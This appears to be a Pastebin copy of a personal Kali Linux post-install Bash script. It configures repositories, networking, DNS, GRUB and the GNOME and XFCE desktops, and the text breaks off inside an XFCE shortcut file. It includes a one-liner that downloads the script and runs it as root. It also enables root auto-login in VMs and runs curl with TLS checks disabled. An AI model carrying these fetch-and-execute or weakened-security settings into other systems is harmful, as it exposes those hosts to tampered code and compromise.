Advertisement
Guest User

Untitled

a guest
Nov 22nd, 2016
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 185.47 KB | None | 0 0
  1. #!/bin/bash
  2. #-Metadata----------------------------------------------------#
  3. # Filename: kali-rolling.sh (Update: 2016-04-11) #
  4. #-Info--------------------------------------------------------#
  5. # Personal post-install script for Kali Linux Rolling #
  6. #-Author(s)---------------------------------------------------#
  7. # g0tmilk ~ https://blog.g0tmi1k.com/ #
  8. #-Operating System--------------------------------------------#
  9. # Designed for: Kali Linux Rolling [x64] (VM - VMware) #
  10. # Tested on: Kali Linux 2016.1 x64/x84/full/light/mini/vm #
  11. # Kali v1.x: https://g0tmi1k/os-scripts/master/kali1.sh #
  12. # Kali v2.x: https://g0tmi1k/os-scripts/master/kali2.sh #
  13. #-Licence-----------------------------------------------------#
  14. # MIT License ~ http://opensource.org/licenses/MIT #
  15. #-Notes-------------------------------------------------------#
  16. # Run as root straight after a clean install of Kali Rolling #
  17. # --- #
  18. # You will need 25GB+ free HDD space before running. #
  19. # --- #
  20. # Command line arguments: #
  21. # -burp = Automates configuring Burp Suite (Community) #
  22. # -dns = Use OpenDNS and locks permissions #
  23. # -openvas = Installs & configures OpenVAS vuln scanner #
  24. # -osx = Changes to Apple keyboard layout #
  25. # #
  26. # -keyboard <value> = Change the keyboard layout language #
  27. # -timezone <value> = Change the timezone location #
  28. # #
  29. # e.g. # bash kali-rolling.sh -burp -openvas -keyboard gb #
  30. # --- #
  31. # Will cut it up (so modular based), when its in its repo #
  32. # --- #
  33. # ** This script is meant for _ME_. ** #
  34. # ** EDIT this to meet _YOUR_ requirements! ** #
  35. #-------------------------------------------------------------#
  36.  
  37.  
  38. if [ 1 -eq 0 ]; then # This is never true, thus it acts as block comments ;)
  39. ################################################################################
  40. ### One liner - Grab the latest version and execute! ###########################
  41. ################################################################################
  42. wget -qO kali-rolling.sh https://raw.github.com/g0tmi1k/os-scripts/master/kali-rolling.sh \
  43. && bash kali-rolling.sh -burp -keyboard gb -timezone "Europe/London"
  44. ################################################################################
  45. fi
  46.  
  47.  
  48. #-Defaults-------------------------------------------------------------#
  49.  
  50.  
  51. ##### Location information
  52. keyboardApple=false # Using a Apple/Macintosh keyboard (non VM)? [ --osx ]
  53. keyboardLayout="" # Set keyboard layout [ --keyboard gb]
  54. timezone="" # Set timezone location [ --timezone Europe/London ]
  55.  
  56. ##### Optional steps
  57. burpFree=false # Disable configuring Burp Suite (for Burp Pro users...) [ --burp ]
  58. hardenDNS=false # Set static & lock DNS name server [ --dns ]
  59. openVAS=false # Install & configure OpenVAS (not everyone wants it...) [ --openvas ]
  60.  
  61. ##### (Optional) Enable debug mode?
  62. #set -x
  63.  
  64. ##### (Cosmetic) Colour output
  65. RED="\033[01;31m" # Issues/Errors
  66. GREEN="\033[01;32m" # Success
  67. YELLOW="\033[01;33m" # Warnings/Information
  68. BLUE="\033[01;34m" # Heading
  69. BOLD="\033[01;01m" # Highlight
  70. RESET="\033[00m" # Normal
  71.  
  72. STAGE=0 # Where are we up to
  73. TOTAL=$(grep '(${STAGE}/${TOTAL})' $0 | wc -l);(( TOTAL-- )) # How many things have we got todo
  74.  
  75.  
  76. #-Arguments------------------------------------------------------------#
  77.  
  78.  
  79. ##### Read command line arguments
  80. while [[ "${#}" -gt 0 && ."${1}" == .-* ]]; do
  81. opt="${1}";
  82. shift;
  83. case "$(echo ${opt} | tr '[:upper:]' '[:lower:]')" in
  84. -|-- ) break 2;;
  85.  
  86. -osx|--osx )
  87. keyboardApple=true;;
  88. -apple|--apple )
  89. keyboardApple=true;;
  90.  
  91. -dns|--dns )
  92. hardenDNS=true;;
  93.  
  94. -openvas|--openvas )
  95. openVAS=true;;
  96.  
  97. -burp|--burp )
  98. burpFree=true;;
  99.  
  100. -keyboard|--keyboard )
  101. keyboardLayout="${1}"; shift;;
  102. -keyboard=*|--keyboard=* )
  103. keyboardLayout="${opt#*=}";;
  104.  
  105. -timezone|--timezone )
  106. timezone="${1}"; shift;;
  107. -timezone=*|--timezone=* )
  108. timezone="${opt#*=}";;
  109.  
  110. *) echo -e ' '${RED}'[!]'${RESET}" Unknown option: ${RED}${x}${RESET}" 1>&2 \
  111. && exit 1;;
  112. esac
  113. done
  114.  
  115.  
  116. ##### Check user inputs
  117. if [[ -n "${timezone}" && ! -f "/usr/share/zoneinfo/${timezone}" ]]; then
  118. echo -e ' '${RED}'[!]'${RESET}" Looks like the ${RED}timezone '${timezone}'${RESET} is incorrect/not supported (Example: ${BOLD}Europe/London${RESET})" 1>&2
  119. echo -e ' '${RED}'[!]'${RESET}" Quitting..." 1>&2
  120. exit 1
  121. elif [[ -n "${keyboardLayout}" && -e /usr/share/X11/xkb/rules/xorg.lst ]]; then
  122. if ! $(grep -q " ${keyboardLayout} " /usr/share/X11/xkb/rules/xorg.lst); then
  123. echo -e ' '${RED}'[!]'${RESET}" Looks like the ${RED}keyboard layout '${keyboardLayout}'${RESET} is incorrect/not supported (Example: ${BOLD}gb${RESET})" 1>&2
  124. echo -e ' '${RED}'[!]'${RESET}" Quitting..." 1>&2
  125. exit 1
  126. fi
  127. fi
  128.  
  129.  
  130. #-Start----------------------------------------------------------------#
  131.  
  132.  
  133. ##### Check if we are running as root - else this script will fail (hard!)
  134. if [[ "${EUID}" -ne 0 ]]; then
  135. echo -e ' '${RED}'[!]'${RESET}" This script must be ${RED}run as root${RESET}" 1>&2
  136. echo -e ' '${RED}'[!]'${RESET}" Quitting..." 1>&2
  137. exit 1
  138. else
  139. echo -e " ${BLUE}[*]${RESET} ${BOLD}Kali Linux rolling post-install script${RESET}"
  140. sleep 3s
  141. fi
  142.  
  143. if [ "${burpFree}" != "true" ]; then
  144. echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping Burp Suite${RESET} (missing: '$0 ${BOLD}--burp${RESET}')..." 1>&2
  145. sleep 2s
  146. fi
  147.  
  148.  
  149. ##### Fix display output for GUI programs (when connecting via SSH)
  150. export DISPLAY=:0.0
  151. export TERM=xterm
  152.  
  153.  
  154. ##### Are we using GNOME?
  155. if [[ $(which gnome-shell) ]]; then
  156. ##### RAM check
  157. if [[ "$(free -m | grep -i Mem | awk '{print $2}')" < 2048 ]]; then
  158. echo -e '\n '${RED}'[!]'${RESET}" ${RED}You have 2GB or less of RAM and using GNOME${RESET}" 1>&2
  159. echo -e " ${YELLOW}[i]${RESET} ${YELLOW}Might want to use XFCE instead${RESET}..."
  160. sleep 15s
  161. fi
  162.  
  163.  
  164. ##### Disable its auto notification package updater
  165. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Disabling GNOME's ${GREEN}notification package updater${RESET} service ~ in case it runs during this script"
  166. export DISPLAY=:0.0
  167. timeout 5 killall -w /usr/lib/apt/methods/http >/dev/null 2>&1
  168.  
  169.  
  170. ##### Disable screensaver
  171. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Disabling ${GREEN}screensaver${RESET}"
  172. xset s 0 0
  173. xset s off
  174. gsettings set org.gnome.desktop.session idle-delay 0
  175. else
  176. echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping disabling package updater${RESET}..."
  177. fi
  178.  
  179.  
  180. ##### Check Internet access
  181. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Checking ${GREEN}Internet access${RESET}"
  182. #--- Can we ping google?
  183. for i in {1..10}; do ping -c 1 -W ${i} www.google.com &>/dev/null && break; done
  184. #--- Run this, if we can't
  185. if [[ "$?" -ne 0 ]]; then
  186. echo -e ' '${RED}'[!]'${RESET}" ${RED}Possible DNS issues${RESET}(?)" 1>&2
  187. echo -e ' '${RED}'[!]'${RESET}" Will try and use ${YELLOW}DHCP${RESET} to 'fix' the issue" 1>&2
  188. chattr -i /etc/resolv.conf 2>/dev/null
  189. dhclient -r
  190. #--- Second interface causing issues?
  191. ip addr show eth1 &>/dev/null
  192. [[ "$?" == 0 ]] \
  193. && route delete default gw 192.168.155.1 2>/dev/null
  194. #--- Request a new IP
  195. dhclient
  196. dhclient eth0 2>/dev/null
  197. dhclient wlan0 2>/dev/null
  198. #--- Wait and see what happens
  199. sleep 15s
  200. _TMP="true"
  201. _CMD="$(ping -c 1 8.8.8.8 &>/dev/null)"
  202. if [[ "$?" -ne 0 && "$_TMP" == "true" ]]; then
  203. _TMP="false"
  204. echo -e ' '${RED}'[!]'${RESET}" ${RED}No Internet access${RESET}" 1>&2
  205. echo -e ' '${RED}'[!]'${RESET}" You will need to manually fix the issue, before re-running this script" 1>&2
  206. fi
  207. _CMD="$(ping -c 1 www.google.com &>/dev/null)"
  208. if [[ "$?" -ne 0 && "$_TMP" == "true" ]]; then
  209. _TMP="false"
  210. echo -e ' '${RED}'[!]'${RESET}" ${RED}Possible DNS issues${RESET}(?)" 1>&2
  211. echo -e ' '${RED}'[!]'${RESET}" You will need to manually fix the issue, before re-running this script" 1>&2
  212. fi
  213. if [[ "$_TMP" == "false" ]]; then
  214. (dmidecode | grep -iq virtual) && echo -e " ${YELLOW}[i]${RESET} VM Detected"
  215. (dmidecode | grep -iq virtual) && echo -e " ${YELLOW}[i]${RESET} ${YELLOW}Try switching network adapter mode${RESET} (e.g. NAT/Bridged)"
  216. echo -e ' '${RED}'[!]'${RESET}" Quitting..." 1>&2
  217. exit 1
  218. fi
  219. else
  220. echo -e " ${YELLOW}[i]${RESET} ${YELLOW}Detected Internet access${RESET}" 1>&2
  221. fi
  222. #--- GitHub under DDoS?
  223. (( STAGE++ )); echo -e " ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Checking ${GREEN}GitHub status${RESET}"
  224. timeout 300 curl --progress -k -L -f "https://status.github.com/api/status.json" | grep -q "good" \
  225. || (echo -e ' '${RED}'[!]'${RESET}" ${RED}GitHub is currently having issues${RESET}. ${BOLD}Lots may fail${RESET}. See: https://status.github.com/" 1>&2 \
  226. && exit 1)
  227.  
  228.  
  229. ##### Enable default network repositories ~ http://docs.kali.org/general-use/kali-linux-sources-list-repositories
  230. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Enabling default Kali ${GREEN}network repositories${RESET}"
  231. #--- Add network repositories
  232. file=/etc/apt/sources.list; [ -e "${file}" ] && cp -n $file{,.bkup}
  233. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  234. #--- Main
  235. grep -q '^deb .* kali-rolling' "${file}" 2>/dev/null \
  236. || echo -e "\n\n# Kali Rolling\ndeb http://http.kali.org/kali kali-rolling main contrib non-free" >> "${file}"
  237. #--- Source
  238. grep -q '^deb-src .* kali-rolling' "${file}" 2>/dev/null \
  239. || echo -e "deb-src http://http.kali.org/kali kali-rolling main contrib non-free" >> "${file}"
  240. #--- Disable CD repositories
  241. sed -i '/kali/ s/^\( \|\t\|\)deb cdrom/#deb cdrom/g' "${file}"
  242. #--- incase we were interrupted
  243. dpkg --configure -a
  244. #--- Update
  245. apt -qq update
  246. if [[ "$?" -ne 0 ]]; then
  247. echo -e ' '${RED}'[!]'${RESET}" There was an ${RED}issue accessing network repositories${RESET}" 1>&2
  248. echo -e " ${YELLOW}[i]${RESET} Are the remote network repositories ${YELLOW}currently being sync'd${RESET}?"
  249. echo -e " ${YELLOW}[i]${RESET} Here is ${BOLD}YOUR${RESET} local network ${BOLD}repository${RESET} information (Geo-IP based):\n"
  250. curl -sI http://http.kali.org/README
  251. exit 1
  252. fi
  253.  
  254.  
  255. ##### Check to see if Kali is in a VM. If so, install "Virtual Machine Addons/Tools" for a "better" virtual experiment
  256. if (dmidecode | grep -iq vmware); then
  257. ##### Install virtual machines tools ~ http://docs.kali.org/general-use/install-vmware-tools-kali-guest
  258. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}VMware's virtual machine tools${RESET}"
  259. apt -y -qq install open-vm-tools-desktop fuse \
  260. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  261. apt -y -qq install make \
  262. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2 # nags afterwards
  263. elif (dmidecode | grep -iq virtualbox); then
  264. ##### Installing Virtualbox Guest Additions. Note: Need VirtualBox 4.2.xx+ for the host (http://docs.kali.org/general-use/kali-linux-virtual-box-guest)
  265. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}VirtualBox's guest additions${RESET}"
  266. apt -y -qq install virtualbox-guest-x11 \
  267. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  268. fi
  269.  
  270.  
  271. ##### Check to see if there is a second Ethernet card (if so, set an static IP address)
  272. ip addr show eth1 &>/dev/null
  273. if [[ "$?" == 0 ]]; then
  274. ##### Set a static IP address (192.168.155.175/24) on eth1
  275. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Setting a ${GREEN}static IP address${RESET} (${BOLD}192.168.155.175/24${RESET}) on ${BOLD}eth1${RESET}"
  276. ip addr add 192.168.155.175/24 dev eth1 2>/dev/null
  277. route delete default gw 192.168.155.1 2>/dev/null
  278. file=/etc/network/interfaces.d/eth1.cfg; [ -e "${file}" ] && cp -n $file{,.bkup}
  279. grep -q '^iface eth1 inet static' "${file}" 2>/dev/null \
  280. || cat <<EOF > "${file}"
  281. auto eth1
  282. iface eth1 inet static
  283. address 192.168.155.175
  284. netmask 255.255.255.0
  285. gateway 192.168.155.1
  286. post-up route delete default gw 192.168.155.1
  287. EOF
  288. else
  289. echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping eth1${RESET} (missing nic)..." 1>&2
  290. fi
  291.  
  292.  
  293. ##### Set static & protecting DNS name servers. Note: May cause issues with forced values (e.g. captive portals etc)
  294. if [[ "${hardenDNS}" != "false" ]]; then
  295. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Setting static & protecting ${GREEN}DNS name servers${RESET}"
  296. file=/etc/resolv.conf; [ -e "${file}" ] && cp -n $file{,.bkup}
  297. chattr -i "${file}" 2>/dev/null
  298. #--- Use OpenDNS DNS
  299. #echo -e 'nameserver 208.67.222.222\nnameserver 208.67.220.220' > "${file}"
  300. #--- Use Google DNS
  301. echo -e 'nameserver 8.8.8.8\nnameserver 8.8.4.4' > "${file}"
  302. #--- Protect it
  303. chattr +i "${file}" 2>/dev/null
  304. else
  305. echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping DNS${RESET} (missing: '$0 ${BOLD}--dns${RESET}')..." 1>&2
  306. fi
  307.  
  308.  
  309. ##### Update location information - set either value to "" to skip.
  310. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Updating ${GREEN}location information${RESET}"
  311. #--- Configure keyboard layout (Apple)
  312. if [ "${keyboardApple}" != "false" ]; then
  313. ( (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Applying ${GREEN}Apple hardware${RESET} profile" )
  314. file=/etc/default/keyboard; #[ -e "${file}" ] && cp -n $file{,.bkup}
  315. sed -i 's/XKBVARIANT=".*"/XKBVARIANT="mac"/' "${file}"
  316. fi
  317. #--- Configure keyboard layout (location)
  318. if [[ -n "${keyboardLayout}" ]]; then
  319. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Updating ${GREEN}location information${RESET} ~ keyboard layout (${BOLD}${keyboardLayout}${RESET})"
  320. geoip_keyboard=$(curl -s http://ifconfig.io/country_code | tr '[:upper:]' '[:lower:]')
  321. [ "${geoip_keyboard}" != "${keyboardLayout}" ] \
  322. && echo -e " ${YELLOW}[i]${RESET} Keyboard layout (${BOLD}${keyboardLayout}${RESET}) doesn't match what's been detected via GeoIP (${BOLD}${geoip_keyboard}${RESET})"
  323. file=/etc/default/keyboard; #[ -e "${file}" ] && cp -n $file{,.bkup}
  324. sed -i 's/XKBLAYOUT=".*"/XKBLAYOUT="'${keyboardLayout}'"/' "${file}"
  325. else
  326. echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping keyboard layout${RESET} (missing: '$0 ${BOLD}--keyboard <value>${RESET}')..." 1>&2
  327. fi
  328. #--- Changing time zone
  329. if [[ -n "${timezone}" ]]; then
  330. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Updating ${GREEN}location information${RESET} ~ time zone (${BOLD}${timezone}${RESET})"
  331. echo "${timezone}" > /etc/timezone
  332. ln -sf "/usr/share/zoneinfo/$(cat /etc/timezone)" /etc/localtime
  333. dpkg-reconfigure -f noninteractive tzdata
  334. else
  335. echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping time zone${RESET} (missing: '$0 ${BOLD}--timezone <value>${RESET}')..." 1>&2
  336. fi
  337. #--- Installing ntp tools
  338. apt -y -qq install ntp ntpdate \
  339. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  340. #--- Update time
  341. ntpdate -b -s -u pool.ntp.org
  342. #--- Start service
  343. systemctl restart ntp
  344. #--- Remove from start up
  345. systemctl disable ntp 2>/dev/null
  346. #--- Only used for stats at the end
  347. start_time=$(date +%s)
  348.  
  349.  
  350. ##### Update OS from network repositories
  351. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) ${GREEN}Updating OS${RESET} from network repositories"
  352. echo -e " ${YELLOW}[i]${RESET} ...this ${BOLD}may take a while${RESET} depending on your Internet connection & Kali version/age"
  353. for FILE in clean autoremove; do apt -y -qq "${FILE}"; done # Clean up clean remove autoremove autoclean
  354. export DEBIAN_FRONTEND=noninteractive
  355. apt -qq update && APT_LISTCHANGES_FRONTEND=none apt -o Dpkg::Options::="--force-confnew" -y dist-upgrade --fix-missing 2>&1 \
  356. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  357. #--- Cleaning up temp stuff
  358. for FILE in clean autoremove; do apt -y -qq "${FILE}"; done # Clean up - clean remove autoremove autoclean
  359. #--- Check kernel stuff
  360. _TMP=$(dpkg -l | grep linux-image- | grep -vc meta)
  361. if [[ "${_TMP}" -gt 1 ]]; then
  362. echo -e "\n ${YELLOW}[i]${RESET} Detected ${YELLOW}multiple kernels${RESET}"
  363. TMP=$(dpkg -l | grep linux-image | grep -v meta | sort -t '.' -k 2 -g | tail -n 1 | grep "$(uname -r)")
  364. if [[ -z "${TMP}" ]]; then
  365. echo -e '\n '${RED}'[!]'${RESET}' You are '${RED}'not using the latest kernel'${RESET} 1>&2
  366. echo -e " ${YELLOW}[i]${RESET} You have it ${YELLOW}downloaded${RESET} & installed, just ${YELLOW}not USING IT${RESET}"
  367. #echo -e "\n ${YELLOW}[i]${RESET} You ${YELLOW}NEED to REBOOT${RESET}, before re-running this script"
  368. #exit 1
  369. sleep 30s
  370. else
  371. echo -e " ${YELLOW}[i]${RESET} ${YELLOW}You're using the latest kernel${RESET} (Good to continue)"
  372. fi
  373. fi
  374.  
  375.  
  376. ##### Install kernel headers
  377. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}kernel headers${RESET}"
  378. apt -y -qq install make gcc "linux-headers-$(uname -r)" \
  379. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  380. if [[ $? -ne 0 ]]; then
  381. echo -e ' '${RED}'[!]'${RESET}" There was an ${RED}issue installing kernel headers${RESET}" 1>&2
  382. echo -e " ${YELLOW}[i]${RESET} Are you ${YELLOW}USING${RESET} the ${YELLOW}latest kernel${RESET}?"
  383. echo -e " ${YELLOW}[i]${RESET} ${YELLOW}Reboot${RESET} your machine"
  384. #exit 1
  385. sleep 30s
  386. fi
  387.  
  388.  
  389. ##### Install "kali full" meta packages (default tool selection)
  390. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}kali-linux-full${RESET} meta-package"
  391. echo -e " ${YELLOW}[i]${RESET} ...this ${BOLD}may take a while${RESET} depending on your Kali version (e.g. ARM, light, mini or docker...)"
  392. #--- Kali's default tools ~ https://www.kali.org/news/kali-linux-metapackages/
  393. apt -y -qq install kali-linux-full \
  394. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  395.  
  396.  
  397. ##### Set audio level
  398. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Setting ${GREEN}audio${RESET} levels"
  399. pactl set-sink-mute 0 0
  400. pactl set-sink-volume 0 25%
  401.  
  402.  
  403. ##### Configure GRUB
  404. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}GRUB${RESET} ~ boot manager"
  405. grubTimeout=5
  406. (dmidecode | grep -iq virtual) && grubTimeout=1 # Much less if we are in a VM
  407. file=/etc/default/grub; [ -e "${file}" ] && cp -n $file{,.bkup}
  408. sed -i 's/^GRUB_TIMEOUT=.*/GRUB_TIMEOUT='${grubTimeout}'/' "${file}" # Time out (lower if in a virtual machine, else possible dual booting)
  409. sed -i 's/^GRUB_CMDLINE_LINUX_DEFAULT=.*/GRUB_CMDLINE_LINUX_DEFAULT="vga=0x0318"/' "${file}" # TTY resolution
  410. update-grub
  411.  
  412.  
  413. if [[ $(dmidecode | grep -i virtual) ]]; then
  414. ###### Configure login screen
  415. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}login screen${RESET}"
  416. #--- Enable auto (gui) login
  417. file=/etc/gdm3/daemon.conf; [ -e "${file}" ] && cp -n $file{,.bkup}
  418. sed -i 's/^.*AutomaticLoginEnable = .*/AutomaticLoginEnable = true/' "${file}"
  419. sed -i 's/^.*AutomaticLogin = .*/AutomaticLogin = root/' "${file}"
  420. fi
  421.  
  422.  
  423. if [[ $(which gnome-shell) ]]; then
  424. ##### Configure GNOME 3
  425. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}GNOME 3${RESET} ~ desktop environment"
  426. export DISPLAY=:0.0
  427. #-- Gnome Extension - Dash Dock (the toolbar with all the icons)
  428. gsettings set org.gnome.shell.extensions.dash-to-dock extend-height true # Set dock to use the full height
  429. gsettings set org.gnome.shell.extensions.dash-to-dock dock-position 'RIGHT' # Set dock to the right
  430. gsettings set org.gnome.shell.extensions.dash-to-dock dock-fixed true # Set dock to be always visible
  431. gsettings set org.gnome.shell favorite-apps \
  432. "['gnome-terminal.desktop', 'org.gnome.Nautilus.desktop', 'kali-wireshark.desktop', 'firefox-esr.desktop', 'kali-burpsuite.desktop', 'kali-msfconsole.desktop', 'gedit.desktop']"
  433. #-- Gnome Extension - Alternate-tab (So it doesn't group the same windows up)
  434. GNOME_EXTENSIONS=$(gsettings get org.gnome.shell enabled-extensions | sed 's_^.\(.*\).$_\1_')
  435. echo "${GNOME_EXTENSIONS}" | grep -q "alternate-tab@gnome-shell-extensions.gcampax.github.com" \
  436. || gsettings set org.gnome.shell enabled-extensions "[${GNOME_EXTENSIONS}, 'alternate-tab@gnome-shell-extensions.gcampax.github.com']"
  437. #-- Gnome Extension - Drive Menu (Show USB devices in tray)
  438. GNOME_EXTENSIONS=$(gsettings get org.gnome.shell enabled-extensions | sed 's_^.\(.*\).$_\1_')
  439. echo "${GNOME_EXTENSIONS}" | grep -q "drive-menu@gnome-shell-extensions.gcampax.github.com" \
  440. || gsettings set org.gnome.shell enabled-extensions "[${GNOME_EXTENSIONS}, 'drive-menu@gnome-shell-extensions.gcampax.github.com']"
  441. #--- Workspaces
  442. gsettings set org.gnome.shell.overrides dynamic-workspaces false # Static
  443. gsettings set org.gnome.desktop.wm.preferences num-workspaces 3 # Increase workspaces count to 3
  444. #--- Top bar
  445. gsettings set org.gnome.desktop.interface clock-show-date true # Show date next to time in the top tool bar
  446. #--- Keyboard short-cuts
  447. (dmidecode | grep -iq virtual) && gsettings set org.gnome.mutter overlay-key "Super_R" # Change 'super' key to right side (rather than left key), if in a VM
  448. #--- Hide desktop icon
  449. dconf write /org/gnome/nautilus/desktop/computer-icon-visible false
  450. else
  451. echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping GNOME${RESET}..." 1>&2
  452. fi
  453.  
  454.  
  455. ##### Install XFCE4
  456. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}XFCE4${RESET}${RESET} ~ desktop environment"
  457. export DISPLAY=:0.0
  458. apt -y -qq install curl \
  459. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  460. apt -y -qq install xfce4 xfce4-mount-plugin xfce4-notifyd xfce4-places-plugin \
  461. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  462. (dmidecode | grep -iq virtual) \
  463. || (apt -y -qq install xfce4-battery-plugin \
  464. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2)
  465. #--- Configuring XFCE
  466. mkdir -p ~/.config/xfce4/panel/launcher-{2,4,5,6,7,8,9}/
  467. mkdir -p ~/.config/xfce4/xfconf/xfce-perchannel-xml/
  468. cat <<EOF > ~/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-keyboard-shortcuts.xml \
  469. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  470. <?xml version="1.0" encoding="UTF-8"?>
  471.  
  472. <channel name="xfce4-keyboard-shortcuts" version="1.0">
  473. <property name="commands" type="empty">
  474. <property name="custom" type="empty">
  475. <property name="XF86Display" type="string" value="xfce4-display-settings --minimal"/>
  476. <property name="&lt;Alt&gt;F2" type="string" value="xfrun4"/>
  477. <property name="&lt;Primary&gt;space" type="string" value="xfce4-appfinder"/>
  478. <property name="&lt;Primary&gt;&lt;Alt&gt;t" type="string" value="/usr/bin/exo-open --launch TerminalEmulator"/>
  479. <property name="&lt;Primary&gt;&lt;Alt&gt;Delete" type="string" value="xflock4"/>
  480. <property name="&lt;Primary&gt;Escape" type="string" value="xfdesktop --menu"/>
  481. <property name="&lt;Super&gt;p" type="string" value="xfce4-display-settings --minimal"/>
  482. <property name="override" type="bool" value="true"/>
  483. </property>
  484. </property>
  485. <property name="xfwm4" type="empty">
  486. <property name="custom" type="empty">
  487. <property name="&lt;Alt&gt;&lt;Control&gt;End" type="string" value="move_window_next_workspace_key"/>
  488. <property name="&lt;Alt&gt;&lt;Control&gt;Home" type="string" value="move_window_prev_workspace_key"/>
  489. <property name="&lt;Alt&gt;&lt;Control&gt;KP_1" type="string" value="move_window_workspace_1_key"/>
  490. <property name="&lt;Alt&gt;&lt;Control&gt;KP_2" type="string" value="move_window_workspace_2_key"/>
  491. <property name="&lt;Alt&gt;&lt;Control&gt;KP_3" type="string" value="move_window_workspace_3_key"/>
  492. <property name="&lt;Alt&gt;&lt;Control&gt;KP_4" type="string" value="move_window_workspace_4_key"/>
  493. <property name="&lt;Alt&gt;&lt;Control&gt;KP_5" type="string" value="move_window_workspace_5_key"/>
  494. <property name="&lt;Alt&gt;&lt;Control&gt;KP_6" type="string" value="move_window_workspace_6_key"/>
  495. <property name="&lt;Alt&gt;&lt;Control&gt;KP_7" type="string" value="move_window_workspace_7_key"/>
  496. <property name="&lt;Alt&gt;&lt;Control&gt;KP_8" type="string" value="move_window_workspace_8_key"/>
  497. <property name="&lt;Alt&gt;&lt;Control&gt;KP_9" type="string" value="move_window_workspace_9_key"/>
  498. <property name="&lt;Alt&gt;&lt;Shift&gt;Tab" type="string" value="cycle_reverse_windows_key"/>
  499. <property name="&lt;Alt&gt;Delete" type="string" value="del_workspace_key"/>
  500. <property name="&lt;Alt&gt;F10" type="string" value="maximize_window_key"/>
  501. <property name="&lt;Alt&gt;F11" type="string" value="fullscreen_key"/>
  502. <property name="&lt;Alt&gt;F12" type="string" value="above_key"/>
  503. <property name="&lt;Alt&gt;F4" type="string" value="close_window_key"/>
  504. <property name="&lt;Alt&gt;F6" type="string" value="stick_window_key"/>
  505. <property name="&lt;Alt&gt;F7" type="string" value="move_window_key"/>
  506. <property name="&lt;Alt&gt;F8" type="string" value="resize_window_key"/>
  507. <property name="&lt;Alt&gt;F9" type="string" value="hide_window_key"/>
  508. <property name="&lt;Alt&gt;Insert" type="string" value="add_workspace_key"/>
  509. <property name="&lt;Alt&gt;space" type="string" value="popup_menu_key"/>
  510. <property name="&lt;Alt&gt;Tab" type="string" value="cycle_windows_key"/>
  511. <property name="&lt;Control&gt;&lt;Alt&gt;d" type="string" value="show_desktop_key"/>
  512. <property name="&lt;Control&gt;&lt;Alt&gt;Down" type="string" value="down_workspace_key"/>
  513. <property name="&lt;Control&gt;&lt;Alt&gt;Left" type="string" value="left_workspace_key"/>
  514. <property name="&lt;Control&gt;&lt;Alt&gt;Right" type="string" value="right_workspace_key"/>
  515. <property name="&lt;Control&gt;&lt;Alt&gt;Up" type="string" value="up_workspace_key"/>
  516. <property name="&lt;Control&gt;&lt;Shift&gt;&lt;Alt&gt;Left" type="string" value="move_window_left_key"/>
  517. <property name="&lt;Control&gt;&lt;Shift&gt;&lt;Alt&gt;Right" type="string" value="move_window_right_key"/>
  518. <property name="&lt;Control&gt;&lt;Shift&gt;&lt;Alt&gt;Up" type="string" value="move_window_up_key"/>
  519. <property name="&lt;Control&gt;F1" type="string" value="workspace_1_key"/>
